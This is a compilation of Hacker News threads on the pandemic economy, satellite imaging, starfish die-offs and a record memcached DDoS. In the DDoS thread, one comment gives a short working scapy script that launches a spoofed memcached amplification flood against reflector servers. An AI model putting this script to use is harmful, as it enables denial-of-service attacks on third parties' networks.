The Normal Economy Is Never Coming Back - <AUTHOR> https://foreignpolicy.com/2020/04/09/unemployment-coronavirus-pandemic-normal-economy-is-never-coming-back/ <comment><USER2> Good grief that's a dramatic article. The economic decline may be stark but that's what happens when you effectively freeze economic activity. I'm not really sure why exactly things are never supposed to be the same given that people still have their training, factories are still around and those can be reopened once sufficient safety is guaranteed.

There's disruption in supply chains and business formation and whatnot, but I think it would be better to think about the economy in terms of actual resources and human capital rather than stock market figures, the former isn't vanishing into thin air.

There's this tendency to dramatically overrate the impact of contemporary events. People said the same thing after 9/11 when it came to other aspects of life, and apart from increased airport security and a few costly wars there indeed was nothing new under the sun.

The CDC estimated that the swine flu in 2009 may have killed up to half a million people globally. We'll see what the death toll of this is at the end but this isn't humanity's first pandemic and it isn't its worst, not by a significant margin.

<comment><USER3> I think its funny that you mention 9/11 as an example there because most people I know would agree that the whole world completely changed after 9/11 (and I'm not even American myself). Both on a cultural and social level, there is no event before the COVID-19 outbreak that changed the world more.

You are correct - in a world where production was organized on a rational level, to serve certain needs or desires, the coronavirus outbreak would not have been as big of an issue. However we live in a world where profit and markets regulate production, and these are far from rational. Hence, unless massive changes come to how production is organized, the article has a very good point and you are the one who is looking at matters much too sober I think.

<comment><USER2> >Both on a cultural and social level, there is no event before the COVID-19 outbreak that changed the world more.

Let's be serious here for a second. We had the collapse of the Soviet Union, the creation of the internet, the emancipation of women, the civil rights era, The Great Leap Foward etc. Everyone can name two dozen things _over the last few decades_ that changed the world more than this.

Currently everyone is behaving like their college aged selves, sitting in their apartment playing Animal Crossing and ordering pizza for a few months. Humanity has endured greater change. I think some people need to turn the news off for a hot second and evaluate if they've gotten a little too soft over the years. Ask people in Africa if the world has changed, a continent with 25% of the world's disease burden and 1% of healthcare spending, this is just background noise over there

</comment></comment></comment><comment><USER4> EDIT: Big Oops. This is Foreign Policy, Not Foreign Affairs (the CFR publication). :/ That explains why they would mention a debt jubilee.

Foreign Policy is the main outlet for the Council on Foreign Relations (CFR), which is one of the main organizations of the establishment. It is useful to read to see what the establishment is thinking, although of course one should not expect too much honesty.

This article is academically hysterical in tone and doesn't say very much, other than things are unprecedented and central banks are trying things on a scale never tried before. Of course the problems with globalization (which the CFR championed) will never be discussed.

It does mention a Debt Jubilee, which is the best option we have right now, but doesn't drill down on it. It says something about how dire the situation is that they will even mention it without completely dismissing the idea.

For those of you interested at home, Steve Keen is the economist who has done the most work on what a fair modern debt jubilee would look like:

[http://www.debtdeflation.com/blogs/manifesto/](http://www.debtdeflation.com/blogs/manifesto/)

 _It makes sense to call instead for a more active, more visionary government to lead the way out of the crisis. But the question, of course, is what form that will take and which political forces will control it._

The CFR has consistently advocated for global government, and you can expect this to be their solution to this crisis.

<comment><USER5> I thought Foreign Affairs was the main output from CFR. Do they run both?

<comment><USER4> Gah, I got it wrong. I'll update parent.

</comment></comment></comment><comment><USER6> I think an important thing to bear in mind is that we don't have a choice. There seems to be a misconception that if we don't bother with a lockdown and just carry on as normal, just with a bit of social distancing, that we can accept higher deaths but save the economy. We can't. A study of the economic effects of the Spanish Flu shows that cities which locked down hardest and earliest actually suffered less long term economic impact than cities that didn't[0].

There's no such thing as an option to "choose the economy", the Spanish Flu shows us this. Aside from the millions of deaths this could lead to, and completely crushing the health care system, there would also be many tens of millions of people sick and unable to work, plus many tens of millions of people stuck caring for them. A lot of people would choose to stay at home anyway, especially as the carnage reached its peak. There's just no way for the economy not to take an existentially threatening impact.

This article is shocking, and I believe it's right, but we need to buckle down and make some really hard choices about how to tackle this thing. However long term I am an optimist. The work force should largely survive and our capital investments still exist. We've got used to historically very low inflation, but a dose of inflation over the next 5 to 10 years could actually give use the the flexibility to spread out and absorb the costs across the economy and society. As a fiscal conservative I can't believe I'm saying this, but there it is.

[0] [https://www.weforum.org/agenda/2020/04/pandemic-economy- less...](https://www.weforum.org/agenda/2020/04/pandemic-economy- lessons-1918-flu/)

<comment><USER7> Today, Denmark, Austria and Czechia are all beginning to ease their lockdowns and allow parts of their economies to re-open. Their approach requires a spectrum of modern technologies and capabilities that were simply not available 100 years ago. The Spanish Flu may not be the most useful analogy for us to keep turning to. The last hundred years were a doozy.

<comment><USER8> What modern technologies and capabilities here vs. other places? Living in Denmark I see the 'success' as being fairly early with simple social distancing and closing borders.

<comment><USER6> Absolutely. The earlier measures are put in place and the better they are observed, the less severe they need to be. However for a small country like Denmark luck definitely plays a part. Looking at the USA there's no obvious reason why New York has been so severely affected compared to say Los Angeles or Chicago, it just depends how early the virus started getting traction. It seems a small number of very socially mobile people can give the virus a massive kick-start. There doesn't seem to be any particular reason why what happened in Lombardy couldn't have happened in Denmark.

<comment><USER8> It is curious. I feel that Danes have a strong sense of social, collective responsibility. High education levels, generous social security net. In a pandemic my observation is that these things can play a strong role in stopping the spread (or an authoritarian stance).

</comment></comment></comment></comment></comment><comment><USER9> So to sum up the article:

1\. The shutdown has put a lot of people out of work and closed many businesses permanently. 73% of Americans have experienced at least some loss in income as a result.

2\. Most government aid is too little too late to prevent 1.

3\. World economies were stagnating before the corona virus started, even in the developing world. Now consumers are going to get even more fiscally conservative, possibly exacerbating the stagnation.

4\. Unprecedented levels of national debt kicks a much larger can down the road, and we have no idea what that means.

5\. A long, halting recovery is more likely than a sharp V-shaped recovery.

Yes all of that is a problem. Will it result in systemic changes to how we do things? To a point. Is it going to have killed the global economy 10 years from now? I doubt it. The only lasting difference might be a cultural surge in individual savings and drop in discretionary spending, but perhaps a more secure, slower growing economy is a good thing. It certainly wouldn't be the end of the world.

</comment><comment><USER10> _This collapse is not the result of a financial crisis. It is not even the direct result of the pandemic. The collapse is the result of a deliberate policy choice, which is itself a radical novelty._

I feel like the author needs to acknowledge that not making a choice is still making a choice. Yes, the current situation is the result of a deliberate policy choice.

The alternative, BAU because a government chooses not to shelter in place, could also result in a similar economic situation, plus healthcare being overwhelmed and an order of magnitude (base 10) or more increase in death rate.

I wouldn't be surprised if the overall economic harm from choosing to do nothing is greater than the overall economic harm from choosing to shelter in place. The worst part is, the governments that choose to do nothing can actually make the economic situation worse for everyone else because they aren't doing anything to slow the spread of the virus.

</comment><comment><USER11> The gist of the article is that there are few historical parallels. That seems fair.

> ... In a crisis, it is easy to agree to spend money. But that fight is > coming. We are engaged in the largest-ever surge in public debt in > peacetime. Right now we are parking that debt on the balance sheet of > central banks. Those central banks can also hold the interest rate low, > which means that the debt service will not be exorbitant. But that defers > the question of what to do with them. To the conventional mind debt must be > eventually repaid through surpluses generated through tax increases or > spending cuts.

The most likely outcome is that the debt from the many fiscal stimulus packages to come (infrastructure, direct payments to taxpayers, tax holidays) will just stay parked on the Fed's balance sheet.

The US can afford to do this, but only if the Fed commits to pegging the yield curve through unlimited treasury purchases. The dollar will head much lower, making US goods more competitive abroad. Nominally, the economy should start looking better pretty quickly.

So in the short term, it seems plausible that the economy can return to normal outward appearances pretty quickly.

In the long term, however, the Fed will be left with a balance sheet approaching or even exceeding GDP. Where that ends up going is anybody's guess. But historical precedents don't paint a pretty picture.

The joker in the deck is how long the virus crisis lasts. Nobody knows the answer, so the degree of departure from normal will be a riddle for some time.

</comment><comment><USER12> I hope and pray that this is the case. This may be the best time for us to make a change in the way the world works. Our lives have been disrupted, and we need to strive to make lasting changes for the greater good.

</comment><comment><USER13> Corona is small potatoes compared to climate change related changes.

</comment><comment><USER14> I just talked to my boss, how radical are the steps the US government is taking. We have a republican President and senate majority that just agreed to the biggest stimulus ever and while Trump is giving mixed signals (seems like he is trying to appeal to investors) there is no end in sight. My boss is a republican and it also scares him, he agrees that we need to help the people but the government has access to many great minds and they know more than us.

My wife is a marketing director at large mall, and honestly I am trying to get her to switch either to digital marketing, or programming. Retail is going to suffer for a long time, and it has been suffering for years. When we start going back to normal, I expect retail traffic to be down or government may enforce rules limiting number of customers. People will have less money, less confidence and retail will be the last place where people spend money.

Plus, our world is very complex, air traffic is down, fuel usage is down, plane orders are down, manufacturing is down, freight deliveries are down then cuts are going to be made to non-essential departments across different sectors. I am a dev in manufacturing, and so far I think I'm safe. However, I have a friend in IT, they service large retailers.....he thought he was safe, his company just announced a hiring freeze as some clients are looking to get out of contracts as they are 100% not operating.

My comp sells products directly to larger manufacturers our orders March were down 25%, and April could be as much as 30-40%.

</comment><comment><USER15> Maybe. The author of this article wrote a book on how a decade of financial crises changed the world. Everyone who writes a book seems to try to shoehorn the current crisis into a blurb pitch for their last book.

</comment><comment><USER16> OTOH Prepare for the Ultimate gaslighting

"Pretty soon, as the country begins to figure out how we "open back up" and move forward, very powerful forces will try to convince us all to get back to normal. (That never happened. What are you talking about?) Billions of dollars will be spent on advertising, messaging, and television and media content to make you feel comfortable again. It will come in the traditional forms — a billboard here, a hundred commercials there — and in new-media forms: a 2020–2021 generation of memes to remind you that what you want again is normalcy."

[https://forge.medium.com/prepare-for-the-ultimate- gaslightin...](https://forge.medium.com/prepare-for-the-ultimate- gaslighting-6a8ce3f0a0e0)

<comment><USER17> I think a lot of people insulated from the current fallout have this view, but a lot of people...the majority of people, do want to "get back to normal." We are also operating a short time frame. Right now what is going on feels fine, for the insulated, but that will deteriorate as this drags on and the longing for "how it was" will intensify. I actually don't think a lot of these think pieces will end up being correct, and we will largely be back to "normal" with some cultural adjustments.

<comment><USER16> The problem with 'normal' is it was a planet destroying sickening consumption madness with a majority on psych meds or other substances to numb the pain.

Surely this pandemic is far from ideal, but can't we stop and think about a few things we perhaps need not return to?

<comment><USER18> This is an important point, a pity it is downvoted without any argument.

Off the top of my head: Formula 1, Eurovision, auto shows, most spectator sports. I wish they all took a slightly longer hiatus.

</comment></comment></comment></comment><comment> seph-reed > The longer we sustain the lockdown, the deeper the scarring to the economy > and the slower the recovery. In China, regular economic activity is inching > back.

I found this quote note-worthy.

</comment><comment><USER19> Is there any damage to priming the population to give up significant liberties if a crisis can be portrayed as serious enough?

</comment><comment><USER20> fault is not the coronavirus, is the massive delocalization.

and the solutions are known, but the political landscape is too fragmented for the required corrective actions

</comment><comment><USER21> I haven't seen much analysis of the possibility that most of the rapid job losses are in areas of the economy that just don't matter much for aggregated productivity or economic health. Essentially, we really had ~10% "unproductive employment" or "discretionary employment" all along, and the virus just highlighted what was already there.

Taking that group of previously employed people out of the labor market just doesn't have a big side-effect. The spending they otherwise would have engaged in had they kept getting paychecks would is just not a significant amount of spending except in a few cases here or there, it's not systemic, just a downward adjustment. Lots and lots of small shops, restaurants, pet groomers, or freelancers might not get jobs back, and things become a bit inconvenient for everyone else but life moves on, the general backbone of the economy is pretty much unchanged. Just about the same volume of food & staples, energy, rent, repairs, education, and entertainment will be purchased as before, set back by ~6 months of lost revenue.

Obviously for the actual people laid off, it's a disaster and they personally deserve economic help to sustain to find new work and have medical care throughout.

But the experience of this group of people isn't the experience of the overall economy.

I have no idea if this is even remotely correct or what, but just feel like nobody is playing devil's advocate and analyzing the economy this way just to investigate.

What if it's just true that there's a pretty large layer of the workforce and employers that could disappear overnight and the economic response from everyone else is just that it's sad but fine? We'd love the luxury of lots of coffee shops, start-ups, self-employed fringe service gigs, but at a moment's notice you can take all that away and it's fine. Those weren't ever really real jobs, just floating "good times" jobs already not factored in much to stock market speculation or core economic growth and productivity.

<comment><USER22> The basis for your argument is incorrect though (regardless of opinions after it). Its not only small shops, restaurants, etc who are losing jobs. High skill workers, highly paid tech employees, etc are losing jobs as well. You can't really make a claim as to when or if those jobs will return, as it could be years. Even if revenue is the same but 6 months set back, that could easily mean a 24 month delay in hiring while the company repays debts and recovers.

<comment><USER21> I haven't seen any data or reporting that backs up your comment. I've read about large layoffs in retail, entertainment, hospitality, gig workers, and startups with poor financials. I haven't heard of significant layoffs at established white collar firms with stable business models. I do expect some impact there, especially in adtech, but I'm not seeing anything like what you are claiming.</comment></comment></comment>


Planet Launches Satellite Constellation to Image the Whole Planet Daily - <AUTHOR> https://www.planet.com/pulse/planet-launches-satellite-constellation-to-image-the-whole-planet-daily/ <comment><USER2> Competitor BlackSky[0] says their objective is "90km^2 in 90 minutes for $90", and they'll be able to do it at 1m resolution instead of Planet's 3-5m resolution.

Not only that, but BlackSky's platform lets you order imagery (both tasking and archive) from many different vendors[1]. So you could set up a recurring job to capture, say, a major port, and the resolution will be good enough to count individual cargo containers (and not just large boats). Then, you could order archived imagery to compare it with.

[0] [https://www.blacksky.com/](https://www.blacksky.com/)

[1] [https://www.blacksky.com/2016/12/14/spaceflight- industries-u...](https://www.blacksky.com/2016/12/14/spaceflight-industries- unveils-its-blacksky-platform-for-observing-the-planet/)

<comment><USER3> I wonder how many people trade on this information already.

<comment><USER4> If you Google "hedge fund satellite data", you'll get loads of results, e.g:

> Every five minutes a satellite captures images of China's biggest cities > from space. Thousands of miles away in California, a computer looks at the > shadows of the buildings in the images and draws a conclusion: China's real > estate boom is slowing.

> Traders at BlackRock, the money management giant, then use the data to help > choose whether to buy or sell the stocks of Chinese developers.

[https://www.nytimes.com/2016/11/15/business/dealbook/the- nex...](https://www.nytimes.com/2016/11/15/business/dealbook/the-next- generation-of-hedge-fund-stars-data-crunching-computers.html?_r=0)

<comment><USER5> With this in mind have people been gaming the system?

A building on its own is a liability, its only worth something if it has occupants (or property prices are rising)

</comment></comment></comment></comment><comment><USER6> Privacy implications are non-tinfoil, rationally-numerous: which homes are abandoned/rarely visited, who's cheating on whom, which homes throw the most parties, parking lot monitoring and so on. Eventually (say a century, if we make it that far), it'll be impossible to go to Antarctica or even wash up on some atoll without literally watched, profiled, surveyed and advertised to.

<comment><USER7> Actually the search and rescue potential is interesting. Maybe there could be an international symbol anyone stranded can make out of rocks or in the sand or whatever that the eyes in the sky automatically alert the authorities to.

<comment><USER6> PLBs/ELTs are much more scalable, at present. Someday, maybe AI will "watch" every m^3.

Just don't voice any "treasonous" opinions verbally, in the future, because Palantir Panopticon Next will bring SWATings, tax audits and extra pat-downs to whomever is labelled a foe. Gosh, there might even be a viable, non- tinfoil, future business model for rental of soundproof/TEMPEST meeting rooms in large cities (LOL, I hope not.) Total, real-time monitoring would be a massively-sharp, double-edged sword that has the potential to invade privacy like never before... and I fear people won't fight or even question it.

</comment></comment></comment><comment><USER8> Are there anymore details known, like the resolution of the cameras or what size objects will be visible? With each dove covering 2 million km² per day (it says at the bottom) and capable of 200mbps downlink, one might get an upper bound of what resolution is feasible (with different compression techniques) but I am guessing the limiting factor is the camera.

And does each dove cover the _same_ surface daily, or do they rotate around and get a different patch of the earth every day? Because in the former case, with diffs you could get amazing compression ratios, and I bet you can already get very far with very simple and fast algorithms.

<comment><USER9> Planet allows free CC-BY-SA access to California region imaginery, so you can see / play / or even develop those algorithms by yourself: [https://www.planet.com/products/open- california/](https://www.planet.com/products/open-california/)

</comment></comment><comment><USER10> For anyone like me that was initially picturing 88 "large" satellites requiring multiple launch vehicles - this was 88 micro satellites: 10cm x 10cm x 30cm from a single launch vehicle.

On one hand it's fascinating to see the miniaturization of satellite technology, while on the other, one has to think about the amount of "junk" floating around our planet, some of it not much larger than a soda can.

Flock: [http://space.skyrocket.de/doc_sdat/flock-1.htm](http://space.skyrocket.de/doc_sdat/flock-1.htm) CubeSat: [http://space.skyrocket.de/doc_sat/cubesat.htm](http://space.skyrocket.de/doc_sat/cubesat.htm)

<comment><USER11> Planet is very careful about space junk. One of the founders even did work for NASA, v.v. space junk. All the doves will burn up after use

<comment><USER11> Well burnup or re-enter

<comment><USER11> But of course re-enterring with these materials is a burn

</comment></comment></comment></comment><comment><USER12> Interesting. The data will surely prove to be useful and will also help to show a better understanding of how our planet is changing . Hopefully raw data is released to the public with all the imaging details.

</comment><comment> happy-go-lucky Doves in space

[https://twitter.com/dovesinspace](https://twitter.com/dovesinspace)

</comment><comment><USER13> It sound amazing!

Are there any info about the price of those images?

</comment><comment><USER14> was this among the 104 satellites launched by ISRO (India) yesterday?

<comment><USER15> Yes.

</comment></comment><comment><USER16> One step closer to Kessler syndrome.

<comment><USER17> You have no idea what you're talking about.

<comment><USER16> Given that now a new kind of space race between private entities seems to be on, and the trend toward micro satellites is continuing, we are going to end up with lots and lots more objects in LEO (and AFAICT these satellites are indeed in LEO), which just increases the potential for cascading failure as Kessler predicted. Or were you assuming that none of these satellites would malfunction?

<comment><USER17> 88 small commanded satellites in a high drag LEO circular orbit contribute to Kessler syndrome in the same way that your production of CO2 contributes to global climate change. Your attitude is just as anti-science as that of people who think Jesus rode a dinosaur.

<comment><USER16> I appreciate your very constructive comments on my belief system.

<comment><USER18> But the person you're responding to isn't wrong. These satellites contribute absolutely 0 to space junk.</comment></comment></comment></comment></comment></comment>


Google I/O 2013 - Fireside Chat with the Go Team - <AUTHOR> http://youtube.com/watch?v=p9VUCp98ay4

<comment><USER2> A bit disappointed ken Thompson wasn't on it.</comment>


Ecommerce as Video's Killer App - <AUTHOR> https://a16z.com/2019/08/06/ecommerce-as-videos-killer-app/ <comment><USER2> according to [https://www.youtube.com/watch?v=h5hUcyRmRSQ](https://www.youtube.com/watch?v=h5hUcyRmRSQ)

short video ecommerce in China is a lie</comment>


Starfish are dissolving up and down the West Coast - <AUTHOR> http://www.theverge.com/2014/11/18/7222479/starfish-wasting-quest-save-keystone-species <comment><USER2> IIRC, there is a segment of starfish that can be dissolved similar to a sponge, and this is commonly done when the starfish wants to spread out its biological range due to lack of food.

This ([http://www.mnn.com/earth- matters/animals/stories/mysterious-...](http://www.mnn.com/earth- matters/animals/stories/mysterious-wasting-syndrome-is-turning-west-coast- starfish-into-goo)) seems to be a better article from last year about the same syndrome. Apparently this is a cyclical pattern and may be an as yet understood part of the starfish lifecycle. That article mentions warmer waters, overpopulation, and a potential (but as yet undetected) virus, which is also having an impact on the east coast.

</comment><comment><USER3> Not just starfish

National Geographic, Nov 17, 2014: Urchins and cucumbers seemed to have escaped the ill effects of the virus until now. But in recent weeks, reports have started to come in that they too are dying along beaches in the Pacific Northwest, Hewson said… [He and his team are] studying the urchins and sea cucumbers that are already dying to see if the same killer is responsible.

[http://news.nationalgeographic.com/news/2014/11/141117-starf...](http://news.nationalgeographic.com/news/2014/11/141117-starfish- dying-epidemic-virus-animal-ocean-science/)

<comment><USER3> Ronald L. Shimek, PhD, marine biologist, Nov 10, 2014: Jan Kocian, diving photographer extraordinare… has been actively surveying several marine subtidal areas in northern Puget Sound for some time… [During a Sept. 18] dive… on Whidbey Island, Washington… he started seeing things he had never previously observed.… there were many animals lying exposed on the sandy sea floor, looking limp, sick or dead. Red sea cucumbers were flaccid and dead… Aleutian Moon snails were in odd postures… pink/yellow worms [were] another rare or unusual sight…. Nuttall's cockles were on the sediment surface with their siphons out, instead of being buried… 22nd September, the area containing dying animals was not only still present it was spreading; whatever seemed to be the cause was still doing its dirty work… 25th September [many] red sea cucumbers… were lying fully exposed, and apparently dead… 29th of September… A few living Cucumaria were acting oddly, not quite dead, but just slightly responsive to touch… Numerous green sea urchins were found with their spines in abnormal postures, definitely not looking healthy… The full extent of the dead area, and the reason for the mortality, remain indeterminate. [http://www.reef2rainforest.com/2014/11/10/a-shallow-water- de...](http://www.reef2rainforest.com/2014/11/10/a-shallow-water-dead-zone-in- puget-sound/)

And the polar bears, and the orcas.

</comment></comment><comment><USER4> This article is pretty close to junk science reporting.

The core argument of the recently published paper it links to ([http://www.pnas.org/content/early/2014/11/12/1416625111.full...](http://www.pnas.org/content/early/2014/11/12/1416625111.full.pdf+html)) is this:

1) No non-viral cause can be found

2) Viral load is higher in symptomatic animals

3) Animals inoculated with homogenized tissue from symptomatic animals almost all become symptomatic.

This argues strongly for a viral cause. The argument for the specific virus in question is much less strong, although it does look like a plausible candidate. The reason it is less strong is that the testing is entirely non- specific, and a plausible alternative explanation is that the symptomatic animals are having a tough time of it, immunologically, so an endemic but harmless virus is opportunistically going hog wild.

The thing that puts this article into junk science reporting territory is its ritual invocation of climate change, which others have pointed out. Let me be specific about what I see as the issues.

The article says flat-out that temperature is not an issue, because the animals don't get better when the temperature drops: _" But the current die- off is different. Not only is it bigger, it doesn't seem to be linked to water temperature. Where other die-offs had slowed down when the waters cooled, this time, the sea stars kept dying through the winter of 2013-2014."_

Then it contradicts itself and insinuates that _maybe it 's climate change after all!_:

 _The virus probably isn't the whole story, both Lahner and Raimondi say. Lahner took sea stars that were disintegrating at 54 degrees Fahrenheit and cooled their water to 50 degrees. "They all went from falling apart, having their viscera hanging out, to pretty healthy in a day," she says. "I came back, and they were like, ready for the cover of Vogue. They were perfect." So temperature may play a role in the animals' ability to recover as well.

The north Pacific basin, on average, has warmed by about half a degree centigrade from 1955 to 2013, according to data from the National Oceanic and Atmospheric Administration. "That's kind of a scary number," says Andy Allegra, a NOAA data specialist. "It's very large."_

There is likely something interesting going on here, but this is a pretty big "hmm... that's odd" moment that just goes by un-noticed.

Water temperatures around Vancouver are in the 60's in the summer, and drop to the low 40's or even into the 30's in the winter, so you would expect a _huge_ seasonal effect if a change from 54 to 50 resulted in unhealthy animals suddenly being ready for the cover of Vogue". And yet--as quoted above--we are assured that the die-off continued in winter (even as far south as San Diego water temperatures can dip below 50 in January).

So this article contains a contradiction of Biblical proportions, the kind of junk reasoning you see in the gibberish of 9/11 conspiracy theorists and climate change denialists (the real kind, who think it's a hoax, not people like me who think nuclear power is a good option for dealing with it, although I often get accused of denialism on that basis.)

Science is the discipline of publicly testing ideas by systematic observation, controlled experiment and Bayesian inference. One way we test ideas is by testing as much of their deductive closure as possible: that is, all the things that would be true if the idea was true. If that "big scary number" was in any way significant, we'd expect a huge seasonal effect in the die-off, which is not observed.

Furthermore, if temperature has a huge effect in the laboratory and none in the field, there is something missing. Maybe that missing thing is pH, as the article suggests, but note how the otherwise data-heavy account gives no actual numbers on ocean acidification, merely telling us coyly that the oceans have become less basic, not how big the change is? That's because the story is really complicated and quite local--ocean pH varies a lot between locales, and yet seafood manages to grow everywhere: [http://www.plosone.org/article/info%3Adoi%2F10.1371%2Fjourna...](http://www.plosone.org/article/info%3Adoi%2F10.1371%2Fjournal.pone.0016069)

There is also curiously little mention of the effects of sea-star over- population on this outbreak of (likely) disease. Times were good for West Coast sea-stars in the mid-2000's. I saw species I'd never observed in the '80's or '90's. Population crashes, often due to disease, are not uncommon in nature following population booms. This natural boom/crash cycle is mentioned in passing, but not really given the attention it deserves. Deer populations on Vancouver Island are booming right now too, and when they crash in a few years it won't be due to climate change, although the specific causes may remain mysterious.

So this could have been an interesting story on the difficulties of doing good science in a complex natural setting. Instead it invoked the "climate change scary!" meme that has infected virtually every story that has anything to do with anything that happens on a scale larger than a single urban neighbourhood. It does no particularly good service to science to say, "I'm sure climate change is the cause but I can't prove it!" If you're sure, you're not doing science: Bayesian reasoning does not produce certainty.

And being "sure" of something you don't have anything like sufficient evidence for is not a good attitude for a scientist to have, and putting it on display like this emboldens those who believe that rather than being an alternative to faith, science is just another kind of faith (which it is not: [http://www.tjradcliffe.com/?p=1331](http://www.tjradcliffe.com/?p=1331))

</comment><comment><USER5> Best video I've seen, comparing a dive site from Seattle in 2007, 2013, 2014

[http://www.diverlaura.me/before-and-after-seastar-wasting- di...](http://www.diverlaura.me/before-and-after-seastar-wasting-disease/)

<comment><USER6> Both videos: "This video has been removed by user."

</comment></comment><comment><USER7> good article, i especially liked the "its anus faces the heavens" bit. i must admit that i was wondering.

</comment><comment><USER8> So if starfish eat pretty much anything that filters water (muscles), what effect would the Fukushima Accident (March 11th, 2011) have on their radiation levels? Could such an event have triggered a mutation in the virus or could the starfish be hypersensitive to slightly higher background radiation?

<comment><USER9> Perhaps worth noting that the amount of radiation being leaking from Fukushima are actually pretty small (0.3 terabecquerels per month) when compared to historical H-bomb tests (~100,000 TBq):

[http://www.newscientist.com/article/dn24100-should- fukushima...](http://www.newscientist.com/article/dn24100-should-fukushimas- radioactive-water-be-dumped-at-sea.html#.VHMhPMkWv0U)

Edit: There was even one, relatively small, nuclear test about 500 miles from San Diego:

[http://en.wikipedia.org/wiki/Operation_Wigwam](http://en.wikipedia.org/wiki/Operation_Wigwam)</comment></comment>


It has gotten much easier to wage record-breaking DDoSes - <AUTHOR> https://arstechnica.com/information-technology/2018/03/it-just-got-much-easier-to-wage-record-breaking-ddoses/ <comment><USER2> In my humble the focus should be less on memcached, which is today's problem. It should be on IP spoofing in general:

[https://blog.cloudflare.com/the-root-cause-of-large-ddos- ip-...](https://blog.cloudflare.com/the-root-cause-of-large-ddos-ip-spoofing/)

We will have amplification attacks as long as we have ISPs that permit (and benefit) from spoofing.

<comment><USER3> It's a simple fix. Just need an egress ACL. UDP packets with source IPs not from here should never make it past the edge router.

Lies, damn lies and UDP packets.

<comment><USER4> What are the reasons this has been so difficult? It seems like this must have been desirable for decades. Is the config of internal and external just tricky? Does some legitimate traffic use this so it's difficult to get everyone to switch to alternatives?

<comment><USER5> There are some incentive misalignments. Each AS that configures it is doing it to protect its neighbors, and does not benefit from itself having configured this way. Best practice suggestions only go so far.

Another aspect is, if you configure it not just with your own prefixes but also that of your peers and downstreams (and their downstreams etc), then you need a source of ground truth. (Remember that not all ASes need to announce everything they have, all the time.) This is usually an out of band database. Then you have the problem of database needing to verify the truth, and keeping all the data fresh, etc.

</comment></comment></comment></comment><comment><USER6> That code [0] is just input() calls and a query to the [https://www.shodan.io/](https://www.shodan.io/) API[1] (and poorly written if I'm being honest). Using memcache for ddos amplification can be done with a trivial python script

        from scapy.all import IP, UDP, Raw, send

        target = '127.0.0.256'

        with open('ips.txt', 'r') as f:
            ips = f.readlines()

        payload = '\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n'
        while True:
            for ip in ips:
                send(IP(src=target, dst=ip) / UDP(dport=11211) / Raw(load=payload), count=100, verbose=0)

You can get ips.txt from [https://pastebin.com/eSCHTTVu](https://pastebin.com/eSCHTTVu) (like the article says)

[0] [https://github.com/649/Memcrashed-DDoS- Exploit/blob/master/M...](https://github.com/649/Memcrashed-DDoS- Exploit/blob/master/Memcrashed.py)

[1] [https://github.com/649/Memcrashed-DDoS- Exploit/blob/3422efc0...](https://github.com/649/Memcrashed-DDoS- Exploit/blob/3422efc009a43451281d165e8b9979189c405ff1/Memcrashed.py#L67)

</comment><comment><USER7> Looks like compared to other ddos vectors it isn't that bad, because you can actually shut them down yourself unlike snmp etc...

Any unsecured memcache server will also allow anyone to shut it down remotely.

[https://github.com/649/Memfixed-Mitigation- Tool](https://github.com/649/Memfixed-Mitigation-Tool)

This problem will disappear in days when people notice their memcache servers randomly shutting down unlike the other ones where you are out of luck if the ISP doesn't look at their abuse inbox ever.

</comment><comment><USER8> It was Mongodb, dns, tftp, ntp, and cheap home router admin interfaces before, memcached this time. Fixing memcached is important, sure, but it won't be the last amplification vector.

<comment><USER9> The interesting part is that almost every time the amplification factor increased. NTP was a big iirc, but this is really huge. I find it hard to believe they'll ever discover something that yields an even higher ratio, but saying "never" in this kind of situation will eventually make one look stupid one day.

Thinking about it, I could imagine a bug in some software where it just takes one malformed UDP packet to trigger an infinite amount of response packets or something like that. That would be so bad it starts being hilarious again.

</comment></comment><comment><USER10> How about solving it by social rather than technical means? By that I mean that most suggested solutions focus on limiting the traffic, the HOW. The How is well known since many years, what is not working is WHEN. Right now, traffic is blocked WHEN someone decides it is blocked. There is little automation for many reasons. There are many technical proposals on the WHEN. Technical solutions include egress filtering or various types of filtering firewall devices. A social proposal could be to form a trusted group of individuals or organizations that are allowed to publish a blacklist, which is updated and distributed across public channels such as twitter. Anyone running a router can then filter based on this blocklist. This solution would mimic the spam filters of the world but focus on routers rather than mail servers. Edge routers makes very little difference here, and the situation is the same in the world of mail servers, where it makes a lot more impact to be filtered by outlook.com than by Jane Doe running exim in the garage. Perhaps this type of social distributed solution is in place already and I just am unaware. Otherwise... I hope HN is well connected and makes the internet a better place.

<comment><USER11> My suggestion is to allow to fight back (you can send 100 packets back for every incoming packet) - if someone DDOSes Github then they get 1 Gbps of flood and go off the network (maybe with their ISP that didn't do proper job to prevent attacks).

<comment><USER12> Doesn't this just make the problem worse?

Your attacker can just spoof that the attack is coming coming from the target, and you've just amplified the attack by 100x. Now they only need to spoof 1% of the traffic they did before, because you want the network to make a possee and lynch suspected DDOSers..

</comment></comment></comment><comment><USER13> Why don't ISPs block packets with a source IP originating outside their network? It would shut down attacks like this in an instant, and it would _save_ them money on peering costs for floods of junk traffic.

<comment><USER8> A great idea that dates back almost 20 years, but hasn't gained any traction. [https://tools.ietf.org/html/rfc2827](https://tools.ietf.org/html/rfc2827) and [https://tools.ietf.org/html/bcp38](https://tools.ietf.org/html/bcp38)

It's very similar to the issue with VOIP and caller ID spoofing.

No idea why either hasn't moved at all.

<comment><USER14> VoIP and Cid spoofing is simply due to gov not enforcing rules against it. There are valid technical reasons to allow Cid spoofing sometimes, but if you're with a reasonable provider, you usually have to sign some disclaimer that you won't abuse it and take the legal responsibility.

The are probably existing laws against the abuse depending on your country. They're just not enforced.

It's much easier to trace than IP traffic as well. Every internet telco will have full logs of each connection.

<comment><USER15> There are a lot of technical reasons. At the wholesale level there is no way to know if a source is valid. Even AT&T routes to dozens of providers for some calls and has no idea what is going where. Even local calls from someone in your own city might end up on someone else's VoIP network to get connected.

It is true though if the FCC started handing down fines that VoIP providers would require insurance/bonding all the way up. That would not fix it all but would be a large jump forward.

We also need end-users to force the issue. File suits and complaints. Every time we'd receive a complaint the resolution was "we blocked that number" and "we have no further info". If there was someone pushing a lawsuit through then suddenly everyone up the supplier chain would hand over their customer info right to the real end-user.

Instead, the FCC runs silly programs like their Anti-Robo-Dialer thing.

<comment><USER14> > At the wholesale level there is no way to know if a source is valid.

Only the first party needs to know the answer. The enforcing org can ask the first telco: was it your subscriber who initiated? If yes, fine the subscriber. If not, repeat with the telco that sent the call. If the last telco knowingly helped, fine it as well.

> Even AT&T routes to dozens of providers for some calls and has no idea what > is going where.

